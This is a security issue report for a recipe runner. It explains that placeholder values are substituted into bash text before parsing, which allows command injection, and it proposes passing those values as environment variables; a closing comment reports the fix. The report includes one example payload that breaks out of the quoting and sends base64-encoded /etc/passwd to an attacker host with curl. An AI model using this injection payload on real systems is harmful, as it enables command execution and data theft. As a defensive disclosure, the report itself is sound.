sec: recipe runner should inject context values as env vars, not inline shell text (REQ-SEC-001)

[rysweet]

Security Issue: Template Injection via Inline Context Substitution

Severity: Medium-High (requires context awareness to exploit)
Tracking ID: REQ-SEC-001
Introduced in: Recipe YAML template system
Discovered in: PR #2973 code review

Problem

The recipe runner substitutes {{variable}} placeholders via text find-and-replace before shell parsing. This means user-provided context values like task_description are inlined directly into bash command strings.

Current code (simplified):

TASK_DESC=$(printf '%s' '{{task_description}}')

After substitution, if task_description = "it's broken":

TASK_DESC=$(printf '%s' 'it's broken')
#                              ^ single-quote terminates the string here

An adversarial input like foo' ; curl attacker.example/exfil?$(cat /etc/passwd|base64) ; echo ' would execute the curl command during the shell assignment.

Impact

• Affects all recipe YAML files that inline {{task_description}} or other user-provided context values into shell commands
• The sed whitelist sanitization in the branch name pipeline runs after the shell assignment, providing no protection at the injection point
• Context values {{worktree_dir}}, {{branch_prefix}}, {{issue_number}} also need auditing

Required Fix

The recipe runner must inject user-provided context values as environment variables rather than as inline text substitutions into shell source. After the fix, recipes would access values via:

TASK_DESC="$AMPLIHACK_TASK_DESCRIPTION"

And the runner would set AMPLIHACK_TASK_DESCRIPTION=<value> in the subprocess environment before executing the shell command.

Workaround (current state)

• Single-quote wrapping ('{{task_description}}') prevents word-splitting and $() injection but is exploitable via single-quote characters in the input
• Unquoted ({{task_description}}) is exploitable via spaces (word-splitting) and all shell metacharacters
• Neither form is fully safe until the runner is fixed

Files Affected

• amplifier-bundle/recipes/default-workflow.yaml — all usages of {{task_description}}
• amplifier-bundle/recipes/consensus-workflow.yaml — all usages of {{task_description}}
• All other recipe YAML files using {{variable}} substitution in bash steps

Acceptance Criteria

• Recipe runner passes context values as environment variables (e.g., AMPLIHACK_TASK_DESCRIPTION)
• Existing {{variable}} syntax either escapes values before injection OR is deprecated in favour of env-var references
• All recipe YAML files updated to reference $AMPLIHACK_TASK_DESCRIPTION (or equivalent)
• Security audit of all other {{variable}} usages in recipe bash steps completed

Related

• PR fix: truncate branch name to prevent git ref-format errors (#2952) #2973 (branch name generation fix — surfaced this issue)
• REQ-SEC-001 tracking comment in step-04-setup-worktree

[rysweet]

Fixed in amplihack-recipe-runner PR #14. render_shell() now injects values via environment variables instead of shell text substitution. All 358 tests pass.